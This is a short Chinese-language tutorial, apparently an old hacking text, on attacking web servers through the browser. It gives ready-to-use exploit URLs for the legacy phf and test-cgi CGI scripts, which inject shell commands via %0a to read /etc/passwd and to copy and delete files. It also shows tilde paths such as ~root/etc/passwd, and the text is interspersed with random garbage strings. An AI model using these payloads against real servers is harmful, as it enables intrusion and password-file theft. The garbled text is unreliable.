瀏覽器攻擊

在本章我將講述一些利用瀏覽器來進行攻擊的方法
1。大家都知道了phf攻擊了，phf是cgi script,很多站點都有這個大漏洞啦，使用
http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd指令可以拿到那個站點的passwd.但還有些更好的執(zhí)行方法呦如：
http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna
( p8 ?( L5 z! ]9 X) K; Q9 j9 P
( f6 Y( g+ Z* Vme=&Qoffice_phone=
2 d3 O/ o( R6 Dhttp://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=
haqr&Qemail=&Qnickname=&Qoffice_phone=
! N! I7 h4 M' V- e. jhttp://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/~someuser/passwd
http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname
6 z6 h$ @) d0 S
=haqr&Qemail=&Qnickname=&Qoffice_phone=
, |* g/ g5 @7 L- }/ H) j上面執(zhí)行的命令是
id
ls -la ~someuser
, V" z" |# {) m% a$ ?3 F- p7 P% L- Xcp /etc/passwd ~someuser/passwd
rm ~someuser/passwd

1 n/ A6 R3 B9 {3 w1 a2。有關(guān)test攻擊
& z; K3 M' K. ^* Fhttp://thegnome.com/cgi-bin/test-cgi?\whatever
服務(wù)器會應(yīng)答，本服務(wù)器的一些情況如：
CGI/1.0 test script report:

argc is 0. argv is .
5 U% y- L3 \' g$ z  R) {& o
SERVER_SOFTWARE = NCSA/1.4B
/ v7 G7 d( U9 `) o) F0 D* VSERVER_NAME = thegnome.com
; V& m5 a# y- z* AGATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
2 i- |7 ~+ w4 q6 L8 N8 q7 y/ B% bSERVER_PORT = 80
5 J) R4 }8 S$ A" |1 ?REQUEST_METHOD = GET
: [) F& ]' B1 W: A$ ^+ kHTTP_ACCEPT = text/plain, application/x-html, application/html,
' n; M; o! f' j' ftext/html, text/x-html
$ S! v' X4 i) _2 ~# \. o0 uPATH_INFO =
( P) n: R- v0 }6 SPATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
. n/ G: @% D6 {4 MQUERY_STRING = whatever
) R  _+ ^1 }' e( F, V) @0 e/ J) S8 yREMOTE_HOST = fifth.column.gov
REMOTE_ADDR = 200.200.200.200
8 k% `; e2 S$ }# P5 FREMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
7 R& W/ @  ?" kCONTENT_LENGTH =

% n$ l( S1 a  Q1 n0 c  s4 y好吧，讓我們來點趕興趣的
# b% i) w8 P9 ?' b% C! Qhttp://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
' x, Q1 ~! R% f' H9 o
3。~的應(yīng)用
" g' I: n3 c& a! q~主要是用在很多的個人主頁上的快捷目錄的方法，如果我們使用這樣的~
http://thegnome.com/~root
" t) S1 i4 j4 ?http://thegnome.com/~root/etc/passwd
. \+ Q- s, \) T* I; S不是在任何平臺上都通過呦，在BSD Apache上曾經(jīng)成功過,當然還可以試試~bin ,~etc,~uucp.....
看到這個站點了嗎，本站所在的這個站點就是用這種形式的，如果我們打入 本站所在的web地址/~bin
出現(xiàn)了什么，你看到了嗎？然后...............注意請不要破壞
: r7 _$ {, A8 v. L/ n4 @" ]
) F& R9 j. a. @$ P